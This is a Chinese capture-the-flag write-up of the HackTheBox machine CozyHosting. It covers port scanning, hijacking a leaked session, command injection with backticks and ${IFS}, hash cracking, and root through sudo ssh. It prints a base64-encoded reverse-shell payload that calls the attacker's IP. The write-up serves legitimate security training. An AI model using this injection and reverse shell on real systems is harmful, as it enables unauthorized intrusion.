HTB-CozyHosting

HTB-CozyHosting_第1张图片

目标靶机的IP地址为10.10.11.230,下面测试连接的稳定性!

HTB-CozyHosting_第2张图片

攻击机的IP地址为10.10.14.67!

HTB-CozyHosting_第3张图片

有一点点慢,应该是问题不大!

信息收集

# nmap -sT --min-rate 10000 -p- 10.10.11.230 -oN port.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-15 17:36 CST
Warning: 10.10.11.230 giving up on port because retransmission cap hit (10).
Stats: 0:01:09 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 90.41% done; ETC: 17:37 (0:00:06 remaining)
Nmap scan report for 10.10.11.230
Host is up (0.22s latency).
Not shown: 53945 closed tcp ports (conn-refused), 11586 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8000/tcp open  http-alt
8081/tcp open  blackice-icecap

开放了四个端口!

# nmap -sT -sC -sV -O -p22,80,8000,8081 10.10.11.230 -oN details.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-15 17:38 CST
Nmap scan report for 10.10.11.230
Host is up (0.25s latency).

PORT     STATE SERVICE          VERSION
22/tcp   open  ssh              OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp   open  http             nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
8000/tcp open  http             SimpleHTTPServer 0.6 (Python 3.10.12)
8081/tcp open  blackice-icecap?
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.4 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 4.15 - 5.8 (93%), Linux 3.10 (93%), Linux 5.3 - 5.4 (93%), Linux 2.6.32 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

详细信息发现,22端口是ssh,80端口是nginx起的http服务,8000端口是python起的http服务 8081端口暂时不知道是什么样的服务!

# nmap -sT --script=vuln -p22,80,8000,8081 10.10.11.230 -oN vuls.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-15 17:39 CST
Nmap scan report for 10.10.11.230
Host is up (0.26s latency).

PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-passwd: ERROR: Script execution failed (use -d to debug)
8000/tcp closed   http-alt
8081/tcp filtered blackice-icecap

Nmap done: 1 IP address (1 host up) scanned in 729.39 seconds

默认漏洞脚本的探测结果,没什么信息;开始手动测试!

寻找立足点

先看看80端口上的服务!

HTB-CozyHosting_第4张图片

80端口暴露出来的信息如上所示,看起来是一个提供云主机的服务商的官网,最下面的服务商信息中发现了相关的电话和邮箱地址!

HTB-CozyHosting_第5张图片

进行常规的目录扫描工作,发现了SpringBoot的相关信息:

HTB-CozyHosting_第6张图片

Session中发现了一个用户的信息,存在敏感信息泄露!

HTB-CozyHosting_第7张图片

尝试替换拿到的session信息!

HTB-CozyHosting_第8张图片

替换掉session之后,进行登录,成功进来后台!

HTB-CozyHosting_第9张图片

在下方存在一个ssh连接的地方!

HTB-CozyHosting_第10张图片

尝试简单的执行,发现验证key失败!抓包感觉这两个参数存在命令执行!

HTB-CozyHosting_第11张图片

发现报错了,后面拼接其他的命令,直接回显了拼接的字符,但是没有被执行!

HTB-CozyHosting_第12张图片

需要让他解析我们的命令才行!后面发现了``反引号可以执行命令!

HTB-CozyHosting_第13张图片

尝试去反弹shell,将反弹shell写在这里!

HTB-CozyHosting_第14张图片

发现在写反弹shell的失败,提示不能包含空格!

HTB-CozyHosting_第15张图片

空格能通过${IFS}进行绕过!最终利用base64编码进行了绕过!

HTB-CozyHosting_第16张图片

payload:

whoami;`echo${IFS}"c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjcvNTU1NSAwPiYx-type "|base64${IFS}-d|bash`

HTB-CozyHosting_第17张图片

最终收到了会话!尝试提权!

提权

HTB-CozyHosting_第18张图片

查看了suid文件,发现了pkexec!查看系统的内核版本信息!

查看了/etc/passwd文件,发现了该文件中存在一个活跃的用户!

HTB-CozyHosting_第19张图片

josh!查看能不能去到这个用户的目录下面:

但是没有权限,后面查看定时任务,也没什么可利用的!app目录下面存在一个jar包,尝试下载下来进行反编译看看是什么东西:

利用 java-decompiler.jar 进行反编译!具体方法参考:反编译jar包_jar包反编译-CSDN博客

运行之后生成一个同名的jar包,将这个jar包解压即可!

java -cp java-decompiler.jar org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true cloudhosting-0.0.1.jar result

HTB-CozyHosting_第20张图片

发现了数据库中的用户名和密码信息,尝试本地连接数据库!

HTB-CozyHosting_第21张图片

发现在cozyhosting数据库中的存在users表,查看到了里面的数据两个用户,密码是加密的!尝试爆破密码!

利用john进行爆破,发现了一个密码:

HTB-CozyHosting_第22张图片

拿到了一个密码,同时也只有一个用户,尝试切换到这个用户:

HTB-CozyHosting_第23张图片

成功了,查看当前用户具有的sudo权限!(这里可以交第一个flag了!)

HTB-CozyHosting_第24张图片

查看sudo权限发现了:

HTB-CozyHosting_第25张图片

可以以root权限免密执行ssh命令,利用ssh进行提权!

HTB-CozyHosting_第26张图片

HTB-CozyHosting_第27张图片

最终提权成功,拿到了root的flag!

你可能感兴趣的:(HackTheBox,网络安全,安全,学习,web安全,安全威胁分析)